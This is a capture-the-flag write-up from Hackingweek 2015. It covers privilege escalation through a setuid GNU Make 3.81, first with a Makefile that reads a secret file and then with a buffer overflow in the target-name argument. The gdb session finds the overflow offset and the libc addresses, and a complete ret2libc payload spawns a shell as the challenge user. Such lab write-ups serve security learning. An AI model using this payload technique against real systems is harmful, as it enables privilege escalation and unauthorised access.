Hackingweek 2015 — make exploit

The easy way

guest@ns314076:/home/exploit03/project$ make --version
GNU Make 3.81
Copyright (C) 2006  Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.

This program built for i486-pc-linux-gnu

We have a setuid make available. The intended bug to exploit was a buffer overflow in the name of the target (when given in argument) but there was a way to validate the challenge by creating a Makefile with the following content:

all:
    @cat /home/exploit3/.secret

Challenge done :( Due to the fact that the two firsts ones were not involving any advanced exploitation, I think everybody just tried to read the file from the Makefile.

Or exploit it?

The creator of the challenge created an “exploit 5”, disallowing the use of the previous trick and asking us to exploit it another way. Googlin' around leads to a a PoC by HyP.

guest@ns314076:/home/exploit05/project$ gdb ./safe-run -q
Reading symbols from /home/exploit05/project/safe-run...(no debugging symbols found)...done.
(gdb) r $(python -c "print 'A' * 4124 + 'BBBB'")
Starting program: /home/exploit05/project/safe-run $(python -c "print 'A' * 4124 + 'BBBB'")
command: /home/exploit05/project/make -f /home/exploit05/project/...[...]...
process 2422 is executing new program: /home/exploit05/project/make
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/i686/cmov/libthread_db.so.1".
make: /home/exploit05/project/...[...]...: File name too long
make: stat: /home/exploit05/project/...[...]...: File name too long

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) i r
eax            0x0	0
ecx            0x807e470	134734960
edx            0xb7fce3f0	-1208163344
ebx            0x41414141	1094795585
esp            0xbfff6a70	0xbfff6a70
ebp            0x41414141	0x41414141
esi            0x41414141	1094795585
edi            0x41414141	1094795585
eip            0x42424242	0x42424242
eflags         0x10246	[ PF ZF IF RF ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51

The NX bit is enabled but not ASLR. The wrapper created for the “exploit 5” challenge is cleaning the environment variables before calling make. We can try to do a mprotect + jmp ropchain or a ret2libc. I was not familiar with the latter, so I tried it :–)

(gdb) p system
$1 = {<text variable, no debug info>} 0xb7ea8c30 <system>
(gdb) p exit
$2 = {<text variable, no debug info>} 0xb7ea5270 <exit>

A nice trick is that we don't have to push /bin/sh on the stack for system and try to find his address: this string is already present into the libc!

guest@ns314076:/home/exploit05/project$ xxd /lib/i386-linux-gnu/i686/cmov/libc-2.13.so |grep /bin/sh
013c190: 002d 6300 2f62 696e 2f73 6800 6578 6974  .-c./bin/sh.exit

We know where the libc is mapped:

0xb7e6d000 0xb7fcb000   0x15e000          0      /lib/i386-linux-gnu/i686/cmov/libc-2.13.so

It's easy to calculate the address of this string in memory: hex(0xb7e6d004 + 0x013c190) = 0xb7fa9190

(gdb) x/s 0xb7fa9194
0xb7fa9194:	 "/bin/sh"

We have everything, so let's dot it:

guest@ns314076:/home/exploit05/project$ echo 'whoami' |
./safe-run $(python -c "print 'A' * 4124 + '\x30\x8c\xea\xb7' + '\x70\xc2\xe9\xb7' + '\x94\x91\xfa\xb7'")

command: /home/exploit05/project/make -f /home/exploit05/project/...[...]...
make: /home/exploit05/project/...[...]...: File name too long
make: stat: /home/exploit05/project/...[...]...: File name too long
exploit05